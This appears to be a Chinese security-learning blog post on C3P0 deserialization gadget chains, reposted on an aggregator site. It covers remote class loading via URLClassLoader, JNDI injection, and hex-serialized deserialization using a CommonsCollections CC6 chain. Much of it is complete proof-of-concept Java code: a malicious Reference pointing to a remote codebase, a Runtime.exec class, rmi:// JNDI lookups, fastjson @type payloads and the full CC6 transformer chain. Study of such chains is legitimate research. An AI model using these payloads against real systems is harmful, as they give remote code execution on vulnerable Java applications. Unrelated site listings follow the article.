C3P0 链子分析学习

news/2024/10/18 22:09:28/文章来源:https://www.cnblogs.com/gaorenyusi/p/18475139

C3P0 链子分析学习

概述

C3P0是一个开源的数据库连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池,使用它的开源项目有Hibernate、Spring等。

连接池:“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”

环境搭建

添加依赖

<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version>
</dependency>

Gadget

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader远程类加载

链子分析

就是加载远程类进行利用

Gadget Chain:
PoolBackedDataSourceBase#readObject ReferenceSerialized#getObject ReferenceableUtils#referenceToObject ObjectFactory#getObjectInstance

定位到 PoolBackedDataSourceBase#readObject 方法,

看到如果对象类型为 IndirectlySerialized,会调用其 getObject 方法,发现只有静态类 ReferenceSerialized 继承了 IndirectlySerialized 接口,跟进其 getObject 方法,

看见这里初始化上下文,然后调用了 lookup ,那如果这里能控制 contextName 变量就能进行 JNDI 注入,

现在就是如何控制变量o为ReferenceSerialized对象,来到 PoolBackedDataSourceBase 的writeObject 方法,

看见反序列化了 connectionPoolDataSource 对象,而该对象没有继承 Serializable 接口

所以在序列化的时候会进入 catch 模块,在 catch 模块会调用 indirector.indirectForm 处理后在进行序列化,跟进ReferenceIndirector.indirectForm 方法。

看见会返回一个 ReferenceSerialized 对象,再跟进其构造函数

这里控制的是 reference 参数,但这里的属性contextName为默认null且不可控,所以不能触发JNDI注入,

继续跟进 ReferenceSerialized#getObject 方法,其调用了 ReferenceableUtils#referenceToObject 方法

其中 ref 变量是可以控制的,所以 fClassName 也可以控制,然后先是获取上下文构造器,然后如果fClassLocation 就直接使用当前上下文构造器进行加载,反之使用URLClassLoader 进行远程加载,而这个fClassLocation 我们同样是可以控制的。

poc 构造

先创建个继承了ConnectionPoolDataSource 接口和 Referenceable 的类,并且重写接口ConnectionPoolDataSource 以及其父类 CommonDataSource 接口的方法,

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  @Override  public Reference getReference() throws NamingException {  return new Reference("poc","poc","http://127.0.0.1:8888/");  }  @Override  public PooledConnection getPooledConnection() throws SQLException {  return null;  }  @Override  public PooledConnection getPooledConnection(String user, String password) throws SQLException {  return null;  }  @Override  public PrintWriter getLogWriter() throws SQLException {  return null;  }  @Override  public void setLogWriter(PrintWriter out) throws SQLException {  }  @Override  public void setLoginTimeout(int seconds) throws SQLException {  }  @Override  public int getLoginTimeout() throws SQLException {  return 0;  }  @Override  public Logger getParentLogger() throws SQLFeatureNotSupportedException {  return null;  }  
}

因为上面看到在序列化时需要序列化 connectionPoolDataSource 对象,才能触发 catch 模块返回 ReferenceSerialized 对象,朔源发现其赋值的地方,是调用 setConnectionPoolDataSource 方法进行赋值的,

然后至于这个类是不是重写不重要,主要是需要控制 reference 参数,所以这里直接写个类只需要满足是connectionPoolDataSource 对象,然后 reference 参数改为我们控制的。

然后将其实例化,调用 setConnectionPoolDataSource 方法进行赋值,赋值将其序列化

public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  //也可以反射修改connectionPoolDataSource属性值,这里直接调用方法好了PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  ObjectOutputStream oos = new ObjectOutputStream(fos);  oos.writeObject(poolBackedDataSourceBase);  }  public static void Pool_Deserial() throws IOException, ClassNotFoundException {  FileInputStream fis = new FileInputStream(new File("exp.bin"));  ObjectInputStream objectInputStream = new ObjectInputStream(fis);  objectInputStream.readObject();  
}  public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  Pool_Serial();  Pool_Deserial();  
}

综上,完整的 poc

package org.example;  
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;  import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.Referenceable;  
import javax.sql.ConnectionPoolDataSource;  
import javax.sql.PooledConnection;  
import java.beans.PropertyVetoException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.sql.SQLException;  
import java.sql.SQLFeatureNotSupportedException;  
import java.util.logging.Logger;  public class C3P0 {  public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{  @Override  public Reference getReference() throws NamingException {  return new Reference("poc","poc","http://127.0.0.1:8888/");  }  @Override  public PooledConnection getPooledConnection() throws SQLException {  return null;  }  @Override  public PooledConnection getPooledConnection(String user, String password) throws SQLException {  return null;  }  @Override  public PrintWriter getLogWriter() throws SQLException {  return null;  }  @Override  public void setLogWriter(PrintWriter out) throws SQLException {  }  @Override  public void setLoginTimeout(int seconds) throws SQLException {  }  @Override  public int getLoginTimeout() throws SQLException {  return 0;  }  @Override  public Logger getParentLogger() throws SQLFeatureNotSupportedException {  return null;  }  }  //序列化  public static void Pool_Serial() throws PropertyVetoException,NoSuchFieldException, IllegalAccessException, IOException {  //反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类  PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);  poolBackedDataSourceBase.setConnectionPoolDataSource(new EXP_Loader());  //序列化流写入文件  FileOutputStream fos = new FileOutputStream(new File("exp.bin"));  ObjectOutputStream oos = new ObjectOutputStream(fos);  oos.writeObject(poolBackedDataSourceBase);  }  //反序列化  public static void Pool_Deserial() throws IOException, ClassNotFoundException {  FileInputStream fis = new FileInputStream(new File("exp.bin"));  ObjectInputStream objectInputStream = new ObjectInputStream(fis);  objectInputStream.readObject();  }  public static void main(String[] args) throws IOException, PropertyVetoException,NoSuchFieldException, IllegalAccessException, ClassNotFoundException {  Pool_Serial();  Pool_Deserial();  }  }

恶意类,poc.java

import java.io.IOException;public class exp {public exp() throws IOException {Runtime.getRuntime().exec("calc");}
}

然后 python 服务启动监听,弹出计算机,

JNDI注入

链子分析

Gadget#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->JndiRefForwardingDataSource#setJndiName#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->WrapperConnectionPoolDataSource#setLoginTime ->JndiRefForwardingDataSource#setLoginTimeout ->JndiRefForwardingDataSource#inner ->JndiRefForwardingDataSource#dereference() ->Context#lookup

定位到 JndiRefConnectionPoolDataSource 类,漏洞点在其调用的 WrapperConnectionPoolDataSource#setLoginTimeout 函数

跟进看到再次调用了 setLoginTimeout 函数,

先看 getNestedDataSource() 方法,返回了 nestedDataSource 变量,

朔源发现该变量是通过 setNestedDataSource 方法进行的赋值

JndiRefConnectionPoolDataSource 类调用 setLoginTimeout 时。对 WrapperConnectionPoolDataSource 进行了实例化并调用了 setNestedDataSource 方法为 nestedDataSource 变量赋值

所以回到上面的 WrapperConnectionPoolDataSource#setLoginTimeout 方法中,继续跟进 JndiRefForwardingDataSource#setLoginTimeout 方法

这里调用 inner 方法,进行跟进

跟进到 dereference() 方法,看到了 lookup 方法,并且 jndiName 我们可以控制,看上面的 gadget,可以通过函数 setJndiName 进行控制

那么剩下的 poc 就简单了

public class C3P02 {  public static void main(String[] args)throws Exception {  JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();  exp.setJndiName("rmi://localhost:1099/hello");  exp.setLoginTimeout(1);  }  
}

fastjson 链子,变一下打 ql 表达式也可以,以为两个变量存在 setter 方法

public class C3P0 {
public static void main(String[] args) throws SQLException {String payload = "{" +"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +"\"JndiName\":\"rmi://127.0.0.1:1099/hello\", " +"\"LoginTimeout\":0" +"}";JSON.parse(payload);
}

HEX序列化

链子分析

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件

Gadget
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->WrapperConnectionPoolDataSourceBase#setUserOverridesAsString#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->C3P0ImplUtils#parseUserOverridesAsString ->SerializableUtils#fromByteArray ->SerializableUtils#deserializeFromByteArray ->ObjectInputStream#readObject

还是定位到 WrapperConnectionPoolDataSource 类的构造函数

跟进到 C3P0ImplUtils.parseUserOverridesAsString 方法,看到先是进行 hex 解码为一个 byte 类型,然后调用了方法 fromByteArray 将其变为 map 类

跟进

看见了 readobject,到这里这条链子基本就清楚了(这里只是存在反序列,链子需要根据漏洞组件进行利用),利用 cc6 的链子来打

添加依赖

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

poc 构造

先构造出 cc6 的链子,去掉反序列化,

package org.example;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  public class C3P03 {  public static void main(String[] args)throws Exception {  Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  };  ChainedTransformer cha = new ChainedTransformer(transformers);  HashMap<Object, Object> map = new HashMap<>();  Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  HashMap<Object,Object> hashmap = new HashMap<>();  hashmap.put(Tie,"gaoren");  Class<LazyMap> lazyMapClass = LazyMap.class;  Field factoryField = lazyMapClass.getDeclaredField("factory");  factoryField.setAccessible(true);  factoryField.set(Lazy, cha);  Lazy.remove("aaa");  serilize(hashmap);  }  public static void serilize(Object obj)throws IOException {  ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  out.writeObject(obj);  }  
}

然后再 parseUserOverridesAsString 函数中不难看出,hexAscii 就是传入的参数 userOverridesAsString 提取出来的。

而 userOverridesAsString 是通过 getUserOverridesAsString() 方法获得的,

可以调用 setUserOverridesAsString 进行赋值,

所以构造 poc

package org.example;  
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Field;  public class C3P03{  public static void main(String[] args)throws Exception {  Transformer[] transformers = new Transformer[]{  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  };  ChainedTransformer cha = new ChainedTransformer(transformers);  HashMap<Object, Object> map = new HashMap<>();  Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  HashMap<Object,Object> hashmap = new HashMap<>();  hashmap.put(Tie,"gaoren");  Class<LazyMap> lazyMapClass = LazyMap.class;  Field factoryField = lazyMapClass.getDeclaredField("factory");  factoryField.setAccessible(true);  factoryField.set(Lazy, cha);  Lazy.remove("aaa");  serilize(hashmap);  InputStream in = new FileInputStream("111.bin");  byte[] bytein = toByteArray(in);  String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";  WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();  exp.setUserOverridesAsString(Hex);  }  public static void serilize(Object obj)throws IOException {  ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  out.writeObject(obj);  }  public static byte[] toByteArray(InputStream in) throws IOException {  byte[] classBytes;  classBytes = new byte[in.available()];  in.read(classBytes);  in.close();  return classBytes;  }  public static String bytesToHexString(byte[] bArray, int length) {  StringBuffer sb = new StringBuffer(length);  for(int i = 0; i < length; ++i) {  String sTemp = Integer.toHexString(255 & bArray[i]);  if (sTemp.length() < 2) {  sb.append(0);  }  sb.append(sTemp.toUpperCase());  }  return sb.toString();  }  
}

最后弹出计算机

fastjson poc

package org.example.serialize.c3p0;import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.util.Base64;public class C3P0Hex {public static void main(String[] args) {byte[] exp = Base64.getDecoder().decode("rO0ABXNyABFqYXZh...AAAB4eHQABW5pdmlheA==");String hex = ByteUtils.toHexAscii(exp);String payload = "{" +"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +"}";JSON.parse(payload);}
}

后面发现其实上面的 Gadget 只是后面一部分,准确的说是从 setUserOverridesAsString 开始触发的,调用栈如下

所以调用链应该为:

Gadget
WrapperConnectionPoolDataSource#setuserOverridesAsString ->WrapperConnectionPoolDataSourceBase#setUserOverridesAsString->VetoableChangeSupport#fireVetoableChange->WrapperConnectionPoolDataSource#vetoableChange->WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->C3P0ImplUtils#parseUserOverridesAsString ->SerializableUtils#fromByteArray ->SerializableUtils#deserializeFromByteArray ->ObjectInputStream#readObject

参考:https://nivi4.notion.site/C3P0-5f394336d9604e8ca80e0bb55c4ce473

参考:https://goodapple.top/archives/1749

参考:https://tttang.com/archive/1411/#toc_poc_1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/817083.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20241018每日一题洛谷P2386

普及 每日一题 信息学竞赛 1206:放苹果 把M个同样的苹果放在N个同样的盘子里,允许有的盘子空着不放,问共有多少种不同的分法?(用K表示)5,1,1和1,5,1 是同一种分法。 第一行是测试数据的数目t(0<=t<=20)。以下每行均包含二个整数M和N,以空格分开。1<=M,N…

图片与向量的关系

如何从向量角度描述表示图片黑白图片黑白图片(灰度图)通过 2 维向量(矩阵)来表达。2个维度的长度分别代表了图片的高度和宽度(以像素为单位),向量元素记录着每一个像素的灰度(数值越大,颜色越浅) 例如下面右图矩阵标注了左图像素点的灰度分布:彩色图片彩色图片通过 …

数据采集与融合技术第二次作业

学号姓名 102202132 郑冰智这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/2024DataCollectionandFusiontechnology/homework/13285这个作业的目标 爬取天气网、股票相关信息、中国大学2021主榜所有院校信息,并存储在数据库中实验二仓库地址 https://gitee.com/zheng…

【LGR-203-Div.4】洛谷入门赛 #28

【LGR-203-Div.4】洛谷入门赛 #28\(A\) luogu B4042 [语言月赛 202410] 顺序结构 \(AC\)顺序结构。点击查看代码 int main() { ll a;cin>>a;cout<<3*(5+a)<<" "<<3*a+5<<endl;return 0; }\(B\) luogu B4043 [语言月赛 202410] 刻度尺…

uni-app小程序(快手、抖音)getCurrentPages使用坑位记录2

前情 uni-app是我比较喜欢的跨平台框架,它能开发小程序/H5/APP(安卓/iOS),重要的是对前端开发友好,自带的IDE让开发体验也挺棒的,现公司项目就是主推uni-app,我主要负责抖音和快手端小程序。 坑位 公司历史原因项目有APP端小程序端,但并不使用uni-app的一端发布所有平台,…

二叉查找树和笛卡尔树

二叉查找树~和笛卡尔树目录二叉查找树定义作用操作查找插入删除缺点笛卡尔树定义操作构造 二叉查找树 定义 ​ 二叉查找树(Binary Search Tree,BST),又名二叉搜索树或二叉排序树。 ​ 它是一类特殊规定的二叉树,它应当满足以下条件:每个节点有唯一确定的权值 非叶子节点的…

浅谈 tarjan

就是记录两个数组:dfn[]和low[] 其中dfn[]表示访问的顺序,low[u]用来存储 \(u\) 不经过其父亲能到达的最小时间戳。。。 搬一下 wiki 的图。。。我们发现 \(low[v]\ge dfn[u]\) 可以表示不能回到祖先,则 \(u\) 点位割点。。。 直接上代码P3388------> #include <bits/…

正点原子新起点V2开发板FPGA关于SDRAM代码解读

正点原子新起点V2开发板FPGA关于SDRAM代码解读 1. SDRAM 概述 SDRAM(Synchronous Dynamic Random Access Memory)是一种同步动态随机存储器,广泛用于FPGA项目中。通过SDRAM控制模块,可以实现数据读写、刷新等操作。本文对SDRAM的控制模块进行详细解读,分析代码中的命令控制…

面试题速刷 - 实战会碰到的一些问题

页面如何进行首屏优化?路由懒加载服务端渲染SSR只获取HTML就可以,里面包含data。 APP预取(啥东西)APP结合H5、结合JS bridge 分页图片懒加载 lazyloadHybrid总结:后端一次性返回10w条数据,你会如何渲染? 本身后端设计方案的设计就不合理!非要的话......自定义中间层:虚…

氏发

这个作业属于哪个课程 2024高级语言程序设计 (福州大学 - 计算机与大数据学院)这个作业要求在哪里 高级语言程序设计课程第三次个人作业学号 102400117姓名 廖逸轩

二、STM32F103C8T6-定时器

STM32F103C8T6 定时器概述 STM32F103C8T6 作为一款广泛使用的微控制器,内置多个定时器,能够支持多种计时和控制功能,如精确延时、脉冲宽度调制(PWM)、捕获比较(Capture/Compare)、输入捕获 和 输出比较 等。这些功能在电机控制、信号测量、周期性事件触发等应用中非常常…

Sparse Table

Sparse Table 可用于解决这样的问题:给出一个 \(n\) 个元素的数组 \(a_1, a_2, \cdots, a_n\),支持查询操作计算区间 \([l,r]\) 的最小值(或最大值)。这种问题被称为区间最值查询问题(Range Minimum/Maximum Query,简称 RMQ 问题)。预处理的时间复杂度为 \(O(n \log n)\…